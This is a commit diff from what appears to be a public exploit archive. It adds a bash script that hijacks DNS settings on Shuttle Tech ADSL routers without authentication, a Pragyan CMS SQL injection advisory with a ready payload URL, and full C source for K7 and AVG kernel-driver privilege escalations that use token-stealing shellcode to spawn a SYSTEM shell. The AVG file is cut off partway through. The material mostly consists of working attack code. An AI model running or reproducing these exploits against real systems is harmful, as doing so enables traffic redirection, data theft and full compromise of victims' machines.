Update: 2015-02-06
5 new exploits
This commit is contained in:
parent
7fe14b4b98
commit
d1471a4059
6 changed files with 1188 additions and 0 deletions
|
@ -32435,3 +32435,8 @@ id,file,description,date,author,platform,type,port
|
|||
35988,platforms/php/webapps/35988.txt,"Support Incident Tracker (SiT!) 3.63 p1 tasks.php selected[] Parameter SQL Injection",2011-07-26,"Yuri Goltsev",php,webapps,0
|
||||
35989,platforms/php/webapps/35989.txt,"MBoard 1.3 'url' Parameter URI Redirection Vulnerability",2011-07-27,"High-Tech Bridge SA",php,webapps,0
|
||||
35990,platforms/php/webapps/35990.txt,"PHPJunkYard GBook 1.6/1.7 Multiple Cross Site Scripting Vulnerabilities",2011-07-27,"High-Tech Bridge SA",php,webapps,0
|
||||
35991,platforms/php/webapps/35991.txt,"Pragyan CMS 3.0 - SQL Injection",2015-02-04,"Steffen Rösemann",php,webapps,80
|
||||
35992,platforms/windows/local/35992.c,"K7 Computing Multiple Products Arbitrary Write Privilege Escalation",2015-02-04,"Parvez Anwar",windows,local,0
|
||||
35993,platforms/windows/local/35993.c,"AVG Internet Security 2015 Arbitrary Write Privilege Escalation",2015-02-04,"Parvez Anwar",windows,local,0
|
||||
35994,platforms/windows/local/35994.c,"BullGuard Multiple Products Arbitrary Write Privilege Escalation",2015-02-04,"Parvez Anwar",windows,local,0
|
||||
35995,platforms/hardware/remote/35995.sh,"Shuttle Tech ADSL Modem-Router 915 WM - Unauthenticated Remote DNS Change Exploit",2015-02-05,"Todor Donev",hardware,remote,0
|
||||
|
|
Can't render this file because it is too large.
|
90
platforms/hardware/remote/35995.sh
Executable file
90
platforms/hardware/remote/35995.sh
Executable file
|
@ -0,0 +1,90 @@
|
|||
#!/bin/bash
|
||||
#
|
||||
# Shuttle Tech ADSL Modem-Router 915 WM
|
||||
# Unauthenticated Remote DNS Change Exploit
|
||||
#
|
||||
# Copyright 2015 (c) Todor Donev <todor.donev at gmail.com>
|
||||
# http://www.ethical-hacker.org/
|
||||
#
|
||||
# Description:
|
||||
# The vulnerability exist in the web interface, which is
|
||||
# accessible without authentication.
|
||||
#
|
||||
# Once modified, systems use foreign DNS servers, which are
|
||||
# usually set up by cybercriminals. Users with vulnerable
|
||||
# systems or devices who try to access certain sites are
|
||||
# instead redirected to possibly malicious sites.
|
||||
#
|
||||
# Modifying systems' DNS settings allows cybercriminals to
|
||||
# perform malicious activities like:
|
||||
#
|
||||
# o Steering unknowing users to bad sites:
|
||||
# These sites can be phishing pages that
|
||||
# spoof well-known sites in order to
|
||||
# trick users into handing out sensitive
|
||||
# information.
|
||||
#
|
||||
# o Replacing ads on legitimate sites:
|
||||
# Visiting certain sites can serve users
|
||||
# with infected systems a different set
|
||||
# of ads from those whose systems are
|
||||
# not infected.
|
||||
#
|
||||
# o Controlling and redirecting network traffic:
|
||||
# Users of infected systems may not be granted
|
||||
# access to download important OS and software
|
||||
# updates from vendors like Microsoft and from
|
||||
# their respective security vendors.
|
||||
#
|
||||
# o Pushing additional malware:
|
||||
# Infected systems are more prone to other
|
||||
# malware infections (e.g., FAKEAV infection).
|
||||
#
|
||||
# Warning:
|
||||
# My first public report on such a serious
|
||||
# vulnerability was ignored by the manufacturers
|
||||
# and were committed serious criminal deeds of
|
||||
# cybercriminals in Brasil. This vulnerability
|
||||
# could affect millions of users worldwide.
|
||||
# http://www.exploit-db.com/exploits/16275/
|
||||
# http://securelist.com/blog/research/57776/the-tale-of-one-thousand-and-one-dsl-modems/
|
||||
#
|
||||
# Disclaimer:
|
||||
# This or previous programs is for Educational
|
||||
# purpose ONLY. Do not use it without permission.
|
||||
# The usual disclaimer applies, especially the
|
||||
# fact that Todor Donev is not liable for any
|
||||
# damages caused by direct or indirect use of the
|
||||
# information or functionality provided by these
|
||||
# programs. The author or any Internet provider
|
||||
# bears NO responsibility for content or misuse
|
||||
# of these programs or any derivatives thereof.
|
||||
# By using these programs you accept the fact
|
||||
# that any damage (dataloss, system crash,
|
||||
# system compromise, etc.) caused by the use
|
||||
# of these programs is not Todor Donev's
|
||||
# responsibility.
|
||||
#
|
||||
# Use them at your own risk!
|
||||
#
|
||||
#
|
||||
|
||||
if [[ $# -gt 3 || $# -lt 2 ]]; then
|
||||
echo " Shuttle Tech ADSL Modem-Router 915 WM"
|
||||
echo " Unauthenticated Remote DNS Change Exploit"
|
||||
echo " ================================================================"
|
||||
echo " Usage: $0 <Target> <Primary DNS> <Secondary DNS>"
|
||||
echo " Example: $0 133.7.133.7 8.8.8.8"
|
||||
echo " Example: $0 133.7.133.7 8.8.8.8 8.8.4.4"
|
||||
echo ""
|
||||
echo " Copyright 2015 (c) Todor Donev <todor.donev at gmail.com>"
|
||||
echo " http://www.ethical-hacker.org/"
|
||||
exit;
|
||||
fi
|
||||
GET=`which GET 2>/dev/null`
|
||||
if [ $? -ne 0 ]; then
|
||||
echo " Error : libwww-perl not found =/"
|
||||
exit;
|
||||
fi
|
||||
GET "http://$1/dnscfg.cgi?dnsPrimary=$2&dnsSecondary=$3&dnsDynamic=0&dnsRefresh=1" 0&> /dev/null <&1
|
||||
|
74
platforms/php/webapps/35991.txt
Executable file
74
platforms/php/webapps/35991.txt
Executable file
|
@ -0,0 +1,74 @@
|
|||
Advisory: SQL injection vulnerability in Pragyan CMS v.3.0
|
||||
Advisory ID: SROEADV-2015-11
|
||||
Author: Steffen Rösemann
|
||||
Affected Software: Pragyan CMS v.3
|
||||
Vendor URL: https://github.com/delta/pragyan, http://delta.nitt.edu/
|
||||
Vendor Status: vendor did not respond after initial communication
|
||||
CVE-ID: -
|
||||
|
||||
==========================
|
||||
Vulnerability Description:
|
||||
==========================
|
||||
|
||||
Pragyan CMS v. 3 suffers from a SQL injection vulnerability that can be
|
||||
abused even by unauthenticated attackers.
|
||||
|
||||
==================
|
||||
Technical Details:
|
||||
==================
|
||||
|
||||
The user-profile of registered users of Pragyan CMS v.3 is vulnerable to
|
||||
SQL injection attacks. A user-profile can be found in the following
|
||||
location of a common Pragyan CMS installation:
|
||||
|
||||
http://{TARGET}/user:1
|
||||
|
||||
Exploit-Example:
|
||||
|
||||
http://
|
||||
{TARGET}/user:1%27+and+1=2+union+select+database%28%29,version%28%29,3+--+
|
||||
|
||||
|
||||
|
||||
=========
|
||||
Solution:
|
||||
=========
|
||||
|
||||
Vendor notified, did not respond after initial communication.
|
||||
|
||||
If you use Pragyan CMS v.3, please locate the file userprofile.lib.php and
|
||||
use my patch (see [5], usage at your own risk!).
|
||||
|
||||
|
||||
|
||||
|
||||
====================
|
||||
Disclosure Timeline:
|
||||
====================
|
||||
18-Jan-2015 – found the vulnerability
|
||||
19-Jan-2015 - informed the developers (see [3])
|
||||
19-Jan-2015 – release date of this security advisory [without technical
|
||||
details]
|
||||
19-Jan-2015 - forked the project to keep it available/researchable in its
|
||||
current state for other researchers [4]
|
||||
03-Feb-2015 - release date of this security advisory
|
||||
03-Feb-2015 - provided a patch for vulnerability (see [5])
|
||||
03-Feb-2015 - send to FullDisclosure
|
||||
|
||||
|
||||
|
||||
========
|
||||
Credits:
|
||||
========
|
||||
|
||||
Vulnerability found and advisory written by Steffen Rösemann.
|
||||
|
||||
===========
|
||||
References:
|
||||
===========
|
||||
|
||||
[1] http://delta.nitt.edu/ / https://github.com/delta/pragyan
|
||||
[2] http://sroesemann.blogspot.de/2015/01/sroeadv-2015-11.html
|
||||
[3] https://github.com/delta/pragyan/issues/206
|
||||
[4] https://github.com/sroesemann/pragyan
|
||||
[5] http://pastebin.com/ip2gGYuS
|
335
platforms/windows/local/35992.c
Executable file
335
platforms/windows/local/35992.c
Executable file
|
@ -0,0 +1,335 @@
|
|||
?/*
|
||||
|
||||
Exploit Title - K7 Computing Multiple Products Arbitrary Write Privilege Escalation
|
||||
Date - 04th February 2015
|
||||
Discovered by - Parvez Anwar (@parvezghh)
|
||||
Vendor Homepage - http://www.k7computing.co.uk/
|
||||
Tested Version - 14.2.0.240
|
||||
Driver Version - 12.8.0.104 - K7Sentry.sys
|
||||
Tested on OS - 32bit Windows XP SP3
|
||||
OSVDB - http://www.osvdb.org/show/osvdb/113007
|
||||
CVE ID - CVE-2014-9643
|
||||
Vendor fix url - none
|
||||
Fixed version - 14.2.0.253
|
||||
Fixed driver ver - 12.8.0.118
|
||||
|
||||
*/
|
||||
|
||||
|
||||
#include <stdio.h>
|
||||
#include <windows.h>
|
||||
|
||||
#define INBUFSIZE 4
|
||||
#define BUFSIZE 4096
|
||||
|
||||
|
||||
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
|
||||
PVOID Unknown1;
|
||||
PVOID Unknown2;
|
||||
PVOID Base;
|
||||
ULONG Size;
|
||||
ULONG Flags;
|
||||
USHORT Index;
|
||||
USHORT NameLength;
|
||||
USHORT LoadCount;
|
||||
USHORT PathLength;
|
||||
CHAR ImageName[256];
|
||||
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
|
||||
|
||||
typedef struct _SYSTEM_MODULE_INFORMATION {
|
||||
ULONG Count;
|
||||
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
|
||||
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
|
||||
|
||||
typedef enum _SYSTEM_INFORMATION_CLASS {
|
||||
SystemModuleInformation = 11,
|
||||
SystemHandleInformation = 16
|
||||
} SYSTEM_INFORMATION_CLASS;
|
||||
|
||||
typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)(
|
||||
SYSTEM_INFORMATION_CLASS SystemInformationClass,
|
||||
PVOID SystemInformation,
|
||||
ULONG SystemInformationLength,
|
||||
PULONG ReturnLength);
|
||||
|
||||
typedef NTSTATUS (WINAPI *_NtQueryIntervalProfile)(
|
||||
DWORD ProfileSource,
|
||||
PULONG Interval);
|
||||
|
||||
typedef NTSTATUS (WINAPI *_NtAllocateVirtualMemory)(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN OUT PVOID *BaseAddress,
|
||||
IN ULONG ZeroBits,
|
||||
IN OUT PULONG RegionSize,
|
||||
IN ULONG AllocationType,
|
||||
IN ULONG Protect);
|
||||
|
||||
typedef void (*FUNCTPTR)();
|
||||
|
||||
|
||||
|
||||
// Windows XP SP3
|
||||
|
||||
#define XP_KPROCESS 0x44 // Offset to _KPROCESS from a _ETHREAD struct
|
||||
#define XP_TOKEN 0xc8 // Offset to TOKEN from the _EPROCESS struct
|
||||
#define XP_UPID 0x84 // Offset to UniqueProcessId FROM the _EPROCESS struct
|
||||
#define XP_APLINKS 0x88 // Offset to ActiveProcessLinks _EPROCESS struct
|
||||
|
||||
|
||||
BYTE token_steal_xp[] =
|
||||
{
|
||||
0x52, // push edx Save edx on the stack
|
||||
0x53, // push ebx Save ebx on the stack
|
||||
0x33,0xc0, // xor eax, eax eax = 0
|
||||
0x64,0x8b,0x80,0x24,0x01,0x00,0x00, // mov eax, fs:[eax+124h] Retrieve ETHREAD
|
||||
0x8b,0x40,XP_KPROCESS, // mov eax, [eax+XP_KPROCESS] Retrieve _KPROCESS
|
||||
0x8b,0xc8, // mov ecx, eax
|
||||
0x8b,0x98,XP_TOKEN,0x00,0x00,0x00, // mov ebx, [eax+XP_TOKEN] Retrieves TOKEN
|
||||
0x8b,0x80,XP_APLINKS,0x00,0x00,0x00, // mov eax, [eax+XP_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks
|
||||
0x81,0xe8,XP_APLINKS,0x00,0x00,0x00, // sub eax, XP_APLINKS | Retrieve _EPROCESS Pointer from the ActiveProcessLinks
|
||||
0x81,0xb8,XP_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // cmp [eax+XP_UPID], 4 | Compares UniqueProcessId with 4 (System Process)
|
||||
0x75,0xe8, // jne ----
|
||||
0x8b,0x90,XP_TOKEN,0x00,0x00,0x00, // mov edx, [eax+XP_TOKEN] Retrieves TOKEN and stores on EDX
|
||||
0x8b,0xc1, // mov eax, ecx Retrieves KPROCESS stored on ECX
|
||||
0x89,0x90,XP_TOKEN,0x00,0x00,0x00, // mov [eax+XP_TOKEN], edx Overwrites the TOKEN for the current KPROCESS
|
||||
0x5b, // pop ebx Restores ebx
|
||||
0x5a, // pop edx Restores edx
|
||||
0xc2,0x08 // ret 8 Away from the kernel
|
||||
};
|
||||
|
||||
|
||||
|
||||
DWORD HalDispatchTableAddress()
|
||||
{
|
||||
_NtQuerySystemInformation NtQuerySystemInformation;
|
||||
PSYSTEM_MODULE_INFORMATION pModuleInfo;
|
||||
DWORD HalDispatchTable;
|
||||
CHAR kFullName[256];
|
||||
PVOID kBase = NULL;
|
||||
LPSTR kName;
|
||||
HMODULE Kernel;
|
||||
FUNCTPTR Hal;
|
||||
ULONG len;
|
||||
NTSTATUS status;
|
||||
|
||||
|
||||
NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
|
||||
|
||||
if (!NtQuerySystemInformation)
|
||||
{
|
||||
printf("[-] Unable to resolve NtQuerySystemInformation\n\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
status = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
|
||||
|
||||
if (!status)
|
||||
{
|
||||
printf("[-] An error occured while reading NtQuerySystemInformation. Status = 0x%08x\n\n", status);
|
||||
return -1;
|
||||
}
|
||||
|
||||
pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
|
||||
|
||||
if(pModuleInfo == NULL)
|
||||
{
|
||||
printf("[-] An error occurred with GlobalAlloc for pModuleInfo\n\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
status = NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len);
|
||||
|
||||
memset(kFullName, 0x00, sizeof(kFullName));
|
||||
strcpy_s(kFullName, sizeof(kFullName)-1, pModuleInfo->Module[0].ImageName);
|
||||
kBase = pModuleInfo->Module[0].Base;
|
||||
|
||||
printf("[i] Kernel base name %s\n", kFullName);
|
||||
kName = strrchr(kFullName, '\\');
|
||||
|
||||
Kernel = LoadLibraryA(++kName);
|
||||
|
||||
if(Kernel == NULL)
|
||||
{
|
||||
printf("[-] Failed to load kernel base\n\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
Hal = (FUNCTPTR)GetProcAddress(Kernel, "HalDispatchTable");
|
||||
|
||||
if(Hal == NULL)
|
||||
{
|
||||
printf("[-] Failed to find HalDispatchTable\n\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("[i] HalDispatchTable address 0x%08x\n", Hal);
|
||||
printf("[i] Kernel handle 0x%08x\n", Kernel);
|
||||
printf("[i] Kernel base address 0x%08x\n", kBase);
|
||||
|
||||
HalDispatchTable = ((DWORD)Hal - (DWORD)Kernel + (DWORD)kBase);
|
||||
|
||||
printf("[+] Kernel address of HalDispatchTable 0x%08x\n", HalDispatchTable);
|
||||
|
||||
if(!HalDispatchTable)
|
||||
{
|
||||
printf("[-] Failed to calculate HalDispatchTable\n\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
return HalDispatchTable;
|
||||
}
|
||||
|
||||
|
||||
|
||||
int GetWindowsVersion()
|
||||
{
|
||||
int v = 0;
|
||||
DWORD version = 0, minVersion = 0, majVersion = 0;
|
||||
|
||||
version = GetVersion();
|
||||
|
||||
minVersion = (DWORD)(HIBYTE(LOWORD(version)));
|
||||
majVersion = (DWORD)(LOBYTE(LOWORD(version)));
|
||||
|
||||
if (minVersion == 1 && majVersion == 5) v = 1; // "Windows XP;
|
||||
if (minVersion == 1 && majVersion == 6) v = 2; // "Windows 7";
|
||||
if (minVersion == 2 && majVersion == 5) v = 3; // "Windows Server 2003;
|
||||
|
||||
return v;
|
||||
}
|
||||
|
||||
|
||||
void spawnShell()
|
||||
{
|
||||
STARTUPINFOA si;
|
||||
PROCESS_INFORMATION pi;
|
||||
|
||||
|
||||
ZeroMemory(&pi, sizeof(pi));
|
||||
ZeroMemory(&si, sizeof(si));
|
||||
si.cb = sizeof(si);
|
||||
|
||||
si.cb = sizeof(si);
|
||||
si.dwFlags = STARTF_USESHOWWINDOW;
|
||||
si.wShowWindow = SW_SHOWNORMAL;
|
||||
|
||||
if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))
|
||||
{
|
||||
printf("\n[-] CreateProcess failed (%d)\n\n", GetLastError());
|
||||
return;
|
||||
}
|
||||
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
}
|
||||
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
|
||||
_NtAllocateVirtualMemory NtAllocateVirtualMemory;
|
||||
_NtQueryIntervalProfile NtQueryIntervalProfile;
|
||||
BYTE *inbuffer;
|
||||
NTSTATUS allocstatus;
|
||||
LPVOID base_addr = (LPVOID)0x00000001;
|
||||
DWORD size = BUFSIZE;
|
||||
DWORD written;
|
||||
int rwresult;
|
||||
unsigned char buffer[BUFSIZE];
|
||||
HANDLE hDevice;
|
||||
DWORD dwRetBytes = 0;
|
||||
DWORD HalDispatchTableTarget;
|
||||
ULONG time = 0;
|
||||
unsigned char devhandle[MAX_PATH];
|
||||
|
||||
|
||||
printf("-------------------------------------------------------------------------------\n");
|
||||
printf(" K7 Computing Multiple Products (K7Sentry.sys) Arbitrary Write EoP Exploit \n");
|
||||
printf(" Tested on Windows XP SP3 (32bit) \n");
|
||||
printf("-------------------------------------------------------------------------------\n\n");
|
||||
|
||||
if (GetWindowsVersion() == 1)
|
||||
{
|
||||
printf("[i] Running Windows XP\n");
|
||||
}
|
||||
|
||||
if (GetWindowsVersion() == 0)
|
||||
{
|
||||
printf("[i] Exploit not supported on this OS\n\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
sprintf(devhandle, "\\\\.\\%s", "K7Sentry");
|
||||
|
||||
NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile");
|
||||
|
||||
if (!NtQueryIntervalProfile)
|
||||
{
|
||||
printf("[-] Unable to resolve NtQueryIntervalProfile\n\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
NtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtAllocateVirtualMemory");
|
||||
|
||||
if (!NtAllocateVirtualMemory)
|
||||
{
|
||||
printf("[-] Unable to resolve NtAllocateVirtualMemory\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
allocstatus = NtAllocateVirtualMemory(INVALID_HANDLE_VALUE, &base_addr, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
if (allocstatus)
|
||||
{
|
||||
printf("[-] An error occured while mapping executable memory. Status = 0x%08x\n", allocstatus);
|
||||
printf("Error : %d\n", GetLastError());
|
||||
return -1;
|
||||
}
|
||||
printf("[+] NtAllocateVirtualMemory allocated memory at 0x%.8x\n", base_addr);
|
||||
|
||||
memset(buffer, 0x90, BUFSIZE);
|
||||
memcpy(buffer+0x00000005, token_steal_xp, sizeof(token_steal_xp));
|
||||
|
||||
printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_xp));
|
||||
|
||||
rwresult = WriteProcessMemory(INVALID_HANDLE_VALUE, (LPVOID)0x00000001, buffer, BUFSIZE, &written);
|
||||
|
||||
if (rwresult == 0)
|
||||
{
|
||||
printf("[-] An error occured while mapping writing memory: %d\n", GetLastError());
|
||||
return -1;
|
||||
}
|
||||
printf("[+] WriteProcessMemory %d bytes written\n", written);
|
||||
|
||||
hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);
|
||||
|
||||
if (hDevice == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
printf("[-] CreateFile open %s device failed (%d)\n\n", devhandle, GetLastError());
|
||||
return -1;
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("[+] Open %s device successful\n", devhandle);
|
||||
}
|
||||
|
||||
inbuffer = VirtualAlloc(NULL, INBUFSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
memset(inbuffer, 0x41, INBUFSIZE);
|
||||
|
||||
HalDispatchTableTarget = HalDispatchTableAddress() + sizeof(DWORD);
|
||||
printf("[+] HalDispatchTable+4 (0x%08x) will be overwritten\n", HalDispatchTableTarget);
|
||||
|
||||
printf("[~] Press any key to send Exploit . . .\n");
|
||||
getch();
|
||||
|
||||
DeviceIoControl(hDevice, 0x95002570, inbuffer, INBUFSIZE, (LPVOID)HalDispatchTableTarget, 0, &dwRetBytes, NULL);
|
||||
|
||||
printf("[+] Buffer sent\n");
|
||||
CloseHandle(hDevice);
|
||||
|
||||
printf("[+] Spawning SYSTEM Shell\n");
|
||||
NtQueryIntervalProfile(2, &time);
|
||||
spawnShell();
|
||||
|
||||
return 0;
|
||||
}
|
344
platforms/windows/local/35993.c
Executable file
344
platforms/windows/local/35993.c
Executable file
|
@ -0,0 +1,344 @@
|
|||
?/*
|
||||
|
||||
Exploit Title - AVG Internet Security 2015 Arbitrary Write Privilege Escalation
|
||||
Date - 04th February 2015
|
||||
Discovered by - Parvez Anwar (@parvezghh)
|
||||
Vendor Homepage - http://www.avg.com/
|
||||
Tested Version - 2015.0.5315
|
||||
Driver Version - 15.0.0.5204 - avgtdix.sys
|
||||
Tested on OS - 32bit Windows XP SP3
|
||||
OSVDB - http://www.osvdb.org/show/osvdb/113824
|
||||
CVE ID - CVE-2014-9632
|
||||
Vendor fix url - http://www.avg.com/eu-en/avg-release-notes
|
||||
Fixed Version - 2015.0.5557
|
||||
Fixed driver ver - 15.0.0.5553
|
||||
|
||||
|
||||
|
||||
Note
|
||||
----
|
||||
Overwritten HAL dispatch table after exploit
|
||||
|
||||
kd> dps nt!HalDispatchTable l c
|
||||
8054ccb8 00000003
|
||||
8054ccbc 00340000
|
||||
8054ccc0 8678d9a0
|
||||
8054ccc4 0a050002
|
||||
8054ccc8 6e66744e
|
||||
8054cccc 001c0707
|
||||
8054ccd0 00000180
|
||||
8054ccd4 000001a4
|
||||
8054ccd8 867d6690
|
||||
8054ccdc 86706480
|
||||
8054cce0 00000000
|
||||
8054cce4 804e42d1 nt!ObpTraceDepth+0x19
|
||||
|
||||
10 pointers get overwritten. Since input buffer is in our control and pointers
|
||||
are static in XP I've triggered the overwrite again restoring the pointers.
|
||||
|
||||
*/
|
||||
|
||||
|
||||
#include <stdio.h>
|
||||
#include <windows.h>
|
||||
|
||||
#define BUFSIZE 4096
|
||||
|
||||
|
||||
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
|
||||
PVOID Unknown1;
|
||||
PVOID Unknown2;
|
||||
PVOID Base;
|
||||
ULONG Size;
|
||||
ULONG Flags;
|
||||
USHORT Index;
|
||||
USHORT NameLength;
|
||||
USHORT LoadCount;
|
||||
USHORT PathLength;
|
||||
CHAR ImageName[256];
|
||||
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
|
||||
|
||||
typedef struct _SYSTEM_MODULE_INFORMATION {
|
||||
ULONG Count;
|
||||
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
|
||||
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
|
||||
|
||||
typedef enum _SYSTEM_INFORMATION_CLASS {
|
||||
SystemModuleInformation = 11,
|
||||
SystemHandleInformation = 16
|
||||
} SYSTEM_INFORMATION_CLASS;
|
||||
|
||||
typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)(
|
||||
SYSTEM_INFORMATION_CLASS SystemInformationClass,
|
||||
PVOID SystemInformation,
|
||||
ULONG SystemInformationLength,
|
||||
PULONG ReturnLength);
|
||||
|
||||
typedef NTSTATUS (WINAPI *_NtQueryIntervalProfile)(
|
||||
DWORD ProfileSource,
|
||||
PULONG Interval);
|
||||
|
||||
typedef void (*FUNCTPTR)();
|
||||
|
||||
|
||||
|
||||
// Windows XP SP3
|
||||
|
||||
#define XP_KPROCESS 0x44 // Offset to _KPROCESS from a _ETHREAD struct
|
||||
#define XP_TOKEN 0xc8 // Offset to TOKEN from the _EPROCESS struct
|
||||
#define XP_UPID 0x84 // Offset to UniqueProcessId FROM the _EPROCESS struct
|
||||
#define XP_APLINKS 0x88 // Offset to ActiveProcessLinks _EPROCESS struct
|
||||
|
||||
|
||||
BYTE token_steal_xp[] =
|
||||
{
|
||||
0x52, // push edx Save edx on the stack
|
||||
0x53, // push ebx Save ebx on the stack
|
||||
0x33,0xc0, // xor eax, eax eax = 0
|
||||
0x64,0x8b,0x80,0x24,0x01,0x00,0x00, // mov eax, fs:[eax+124h] Retrieve ETHREAD
|
||||
0x8b,0x40,XP_KPROCESS, // mov eax, [eax+XP_KPROCESS] Retrieve _KPROCESS
|
||||
0x8b,0xc8, // mov ecx, eax
|
||||
0x8b,0x98,XP_TOKEN,0x00,0x00,0x00, // mov ebx, [eax+XP_TOKEN] Retrieves TOKEN
|
||||
0x8b,0x80,XP_APLINKS,0x00,0x00,0x00, // mov eax, [eax+XP_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks
|
||||
0x81,0xe8,XP_APLINKS,0x00,0x00,0x00, // sub eax, XP_APLINKS | Retrieve _EPROCESS Pointer from the ActiveProcessLinks
|
||||
0x81,0xb8,XP_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // cmp [eax+XP_UPID], 4 | Compares UniqueProcessId with 4 (System Process)
|
||||
0x75,0xe8, // jne ----
|
||||
0x8b,0x90,XP_TOKEN,0x00,0x00,0x00, // mov edx, [eax+XP_TOKEN] Retrieves TOKEN and stores on EDX
|
||||
0x8b,0xc1, // mov eax, ecx Retrieves KPROCESS stored on ECX
|
||||
0x89,0x90,XP_TOKEN,0x00,0x00,0x00, // mov [eax+XP_TOKEN], edx Overwrites the TOKEN for the current KPROCESS
|
||||
0x5b, // pop ebx Restores ebx
|
||||
0x5a, // pop edx Restores edx
|
||||
0xc2,0x08 // ret 8 Away from the kernel
|
||||
};
|
||||
|
||||
|
||||
|
||||
BYTE restore_pointers_xp[] = // kd> dps nt!HalDispatchTable
|
||||
"\xf2\xa3\x6f\x80" // 8054ccbc 806fa3f2 hal!HaliQuerySystemInformation
|
||||
"\xce\xa3\x6f\x80" // 8054ccc0 806fa3ce hal!HaliSetSystemInformation
|
||||
"\x0b\x46\x61\x80" // 8054ccc4 8061460b nt!xHalQueryBusSlots
|
||||
"\x00\x00\x00\x00" // 8054ccc8 00000000
|
||||
"\x4d\xac\x50\x80" // 8054cccc 8050ac4d nt!HalExamineMBR
|
||||
"\x89\x6f\x5c\x80" // 8054ccd0 805c6f89 nt!IoAssignDriveLetters
|
||||
"\xe5\x4a\x5c\x80" // 8054ccd4 805c4ae5 nt!IoReadPartitionTable
|
||||
"\x7b\x3f\x61\x80" // 8054ccd8 80613f7b nt!IoSetPartitionInformation
|
||||
"\xef\x41\x61\x80" // 8054ccdc 806141ef nt!IoWritePartitionTable
|
||||
"\x57\xd1\x52\x80"; // 8054cce0 8052d157 nt!CcHasInactiveViews
|
||||
|
||||
|
||||
|
||||
DWORD HalDispatchTableAddress()
|
||||
{
|
||||
_NtQuerySystemInformation NtQuerySystemInformation;
|
||||
PSYSTEM_MODULE_INFORMATION pModuleInfo;
|
||||
DWORD HalDispatchTable;
|
||||
CHAR kFullName[256];
|
||||
PVOID kBase = NULL;
|
||||
LPSTR kName;
|
||||
HMODULE Kernel;
|
||||
FUNCTPTR Hal;
|
||||
ULONG len;
|
||||
NTSTATUS status;
|
||||
|
||||
|
||||
NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
|
||||
|
||||
if (!NtQuerySystemInformation)
|
||||
{
|
||||
printf("[-] Unable to resolve NtQuerySystemInformation\n\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
status = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
|
||||
|
||||
if (!status)
|
||||
{
|
||||
printf("[-] An error occured while reading NtQuerySystemInformation. Status = 0x%08x\n\n", status);
|
||||
return -1;
|
||||
}
|
||||
|
||||
pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
|
||||
|
||||
if(pModuleInfo == NULL)
|
||||
{
|
||||
printf("[-] An error occurred with GlobalAlloc for pModuleInfo\n\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
status = NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len);
|
||||
|
||||
memset(kFullName, 0x00, sizeof(kFullName));
|
||||
strcpy_s(kFullName, sizeof(kFullName)-1, pModuleInfo->Module[0].ImageName);
|
||||
kBase = pModuleInfo->Module[0].Base;
|
||||
|
||||
printf("[i] Kernel base name %s\n", kFullName);
|
||||
kName = strrchr(kFullName, '\\');
|
||||
|
||||
Kernel = LoadLibraryA(++kName);
|
||||
|
||||
if(Kernel == NULL)
|
||||
{
|
||||
printf("[-] Failed to load kernel base\n\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
Hal = (FUNCTPTR)GetProcAddress(Kernel, "HalDispatchTable");
|
||||
|
||||
if(Hal == NULL)
|
||||
{
|
||||
printf("[-] Failed to find HalDispatchTable\n\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("[i] HalDispatchTable address 0x%08x\n", Hal);
|
||||
printf("[i] Kernel handle 0x%08x\n", Kernel);
|
||||
printf("[i] Kernel base address 0x%08x\n", kBase);
|
||||
|
||||
